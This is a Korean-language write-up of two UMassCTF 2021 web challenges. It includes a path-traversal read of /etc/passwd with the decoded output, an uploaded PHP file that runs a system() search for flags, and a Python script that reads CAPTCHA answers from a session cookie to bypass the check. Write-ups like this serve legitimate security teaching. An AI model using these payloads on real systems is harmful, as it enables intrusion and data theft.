UMassCTF 2021 Writeup

2021-03-29

Table Of Contents
  • PikCha
  • 후기
  • Hermit - Part1

    + Description
      + Help henry find a new shell
    
    + Link
      + http://104.197.195.221:8086
      + http://34.121.84.161:8086
    
    + Created by
      + Cobchise#6969
    
    • 문제 분석 & 문제 풀이

      Hermit part1

      링크에 들어가면은 사진과 이미지를 업로드할 수 있는 기능이 있습니다.

      아무런 이미지로 파일 선택을 한 다음 UPLOAD IMAGE 누르면

      Hermit Upload

      이런식으로 dbg.png 파일 이름과 /var/www/html/uploads/1uKVHV 해당 이미지가 업로드 된 다음 저장된 경로와 함께

      See Image라는 링크가 있습니다.

      해당 링크를 눌러보면

      /show.php?filename=V9U4vo 으로 이동하게 되면서

      Image read

      상단에 이미지를 읽은 텍스트와

      Image Viewer

      하단에 업로드했던 이미지가 나오게됩니다.

      처음에는 /show.php?filename=V9U4vo 이동한 URL에 ?filename으로 파라미터를 받는것을 보고

      /show.php?filename=../../../../../../etc/passwd 이런식으로 내부 서버에 있는 파일에 접근했더니

      <img src="data:image/png;base64,cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTAxOjEwMjpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLW5ldHdvcms6eDoxMDI6MTAzOnN5c3RlbWQgTmV0d29yayBNYW5hZ2VtZW50LCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXJlc29sdmU6eDoxMDM6MTA0OnN5c3RlbWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCm1lc3NhZ2VidXM6eDoxMDQ6MTA2Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3NoZDp4OjEwNTo2NTUzNDo6L3J1bi9zc2hkOi91c3Ivc2Jpbi9ub2xvZ2luCmhlcm1pdDp4OjEwMDA6MTAwMDo6L2hvbWUvaGVybWl0Oi9iaW4vc2gK">
      

      Data URIs 형식으로 base64 인코딩된 값이 있는것을 볼 수 있습니다.

      해당 인코딩된 값을 디코딩하면

      >>> dec = """cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTAxOjEwMjpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLW5ldHdvcms6eDoxMDI6MTAzOnN5c3RlbWQgTmV0d29yayBNYW5hZ2VtZW50LCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXJlc29sdmU6eDoxMDM6MTA0OnN5c3RlbWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCm1lc3NhZ2VidXM6eDoxMDQ6MTA2Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3NoZDp4OjEwNTo2NTUzNDo6L3J1bi9zc2hkOi91c3Ivc2Jpbi9ub2xvZ2luCmhlcm1pdDp4OjEwMDA6MTAwMDo6L2hvbWUvaGVybWl0Oi9iaW4vc2gK"""
      >>> print(__import__("base64").b64decode(dec).decode())
      root:x:0:0:root:/root:/bin/bash
      daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
      bin:x:2:2:bin:/bin:/usr/sbin/nologin
      sys:x:3:3:sys:/dev:/usr/sbin/nologin
      sync:x:4:65534:sync:/bin:/bin/sync
      games:x:5:60:games:/usr/games:/usr/sbin/nologin
      man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
      lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
      mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
      news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
      uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
      proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
      www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
      backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
      list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
      irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
      gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
      nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
      _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
      systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
      systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
      systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
      messagebus:x:104:106::/nonexistent:/usr/sbin/nologin
      sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
      hermit:x:1000:1000::/home/hermit:/bin/sh
      
      >>>
      

      이런식으로 /etc/passwd의 정보가 나오게됩니다.

      하지만 해당 취약점을 이용해 내부의 서버에 접근한다 해도 FLAG가 들어있는 파일의 위치를 모르기때문에 다른 방법을 찾아보면

      어떠한 이미지를 업로드할때

      Image read

      이런식으로 해당 이미지를 읽으면서 출력을 하게 되는데 해당 방법으로 PHP 소스 파일을 넣으면 어떨까 하고

      test.php 파일에

      <?php
        system("find /* -name '*.*' 2>/dev/null | xargs grep 'UMASS{' 2>/dev/null");
      ?>
      

      UMassCTF의 FLAG형식으로 find명령어를 이용하면

      Print FLAG

      명령어가 실행되는동안 로딩이 걸리면서 플래그가 나오게됩니다.

      /home/hermit/flag/userflag.txt:UMASS{a_picture_paints_a_thousand_shells} /tmp/tek.gz:UMASS{a_test_of_integrity}
      

    Flag is UMASS{a_picture_paints_a_thousand_shells}

    Flag is UMASS{a_test_of_integrity}

    PikCha

    + Link
      + http://104.197.195.221:8084
      + http://34.121.84.161:8084
    
    + Created By 
      + Soul#8230
    
    • 문제 분석 & 문제 풀이

      PikCha

      링크에 들어가면 4개의 포켓몬 사진과 입력할 수 있는 공간이 생기게 됩니다.

      해당 사이트를 조금 더 분석해보면

      쿠키에 session 으로

      eyJhbnN3ZXIiOlsxMTYsNzcsNjUsNTddLCJjb3JyZWN0IjowLCJpbWFnZSI6Ii4vc3RhdGljL2NoYWxsLWltYWdlcy91UHlTRERscWVtLmpwZyJ9.YHL7PA.colwzyoT-2qA8GDg7Czv78z03tw
      

      이런 쿠키값이 있는것을 알 수 있습니다.

      해당 쿠키의 값을 base64 디코딩 해보면

      base64 decode

      {"answer":[116,77,65,57],"correct":0,"image":"./static/chall-images/uPySDDlqem.jpg"}

      이러한 값이 나오게됩니다.

      값에 있는 answer 부분의 [116,77,65,57]는 포켓몬스터의 일렬번호라는것을 알게 되었습니다.

      116번은 쏘드라
      77번은 포니타
      65번은 후딘
      57 성원숭
      

      그림과 일치한것을 볼 수 있는데

      아까 봤던 페이지의 입력하는 부분에

      116 77 65 57 이런식으로 입력하면 0/500 에서 1/500 으로 늘어나는것을 볼 수 있습니다.

      Point

      해당 규칙을 이용하여

      import requests
      import base64
      import json
      
      url = 'http://34.121.84.161:8084/'
      
      session = requests.Session()
      
      for i in range(1, 501):
      
      	get = session.get(url)
      	encoded_jwt = session.cookies['session']
      	header = json.loads(base64.b64decode(encoded_jwt.split(".")[0]+"==").decode())
      	post = session.post(url, data={"guess": ' '.join(map(str, header['answer']))})
      	print("\r" + str(header['correct']), end='')
      
      	if i == 500:
      		print(get.text)
      		print(post.text)
      
      session.close()
      

      python으로 자동화 스크립트를 짜면

      499<!doctype html>
      <title>UMassCTF '21 - PikaCha</title>
      <link rel="stylesheet" href="/static/style.css">
      <nav>
      
      
      </nav>
      <section class="content center">
        <header>
      
        </header>
      
        <h1 class="text">PikCha</h1>
        <img src="./static/chall-images/cclMjDmMYu.jpg" />
        <p>
          499 / 500
        </p>
        <form method='post' action='/'>
          <input type="text" id="guess" name="guess">
          <input type="submit" value="Submit">
        </form>
      </section>
      UMASS{G0tt4_c4tch_th3m_4ll_17263548}
      500<!doctype html>
      <title>UMassCTF '21 - PikaCha</title>
      <link rel="stylesheet" href="/static/style.css">
      <nav>
      
      
      </nav>
      <section class="content center">
        <header>
      
        </header>
      
        <h1 class="text">PikCha</h1>
        <img src="./static/chall-images/SryqxaELSv.jpg" />
        <p>
          500 / 500
        </p>
        <form method='post' action='/'>
          <input type="text" id="guess" name="guess">
          <input type="submit" value="Submit">
        </form>
      </section>
      

      500/500이 될때 FLAG가 나오게됩니다.

    Flag is UMASS{G0tt4_c4tch_th3m_4ll_17263548}

    후기

    CTF하면서 포켓몬스터에 대해 공부할줄은 몰랐다..